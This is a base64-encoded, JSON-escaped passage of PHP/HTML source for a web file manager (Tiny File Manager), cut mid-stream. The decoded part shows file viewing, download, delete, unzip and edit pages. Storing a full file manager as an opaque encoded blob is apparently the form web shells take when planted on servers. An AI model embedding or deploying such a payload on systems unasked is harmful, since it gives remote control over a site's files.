gPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAg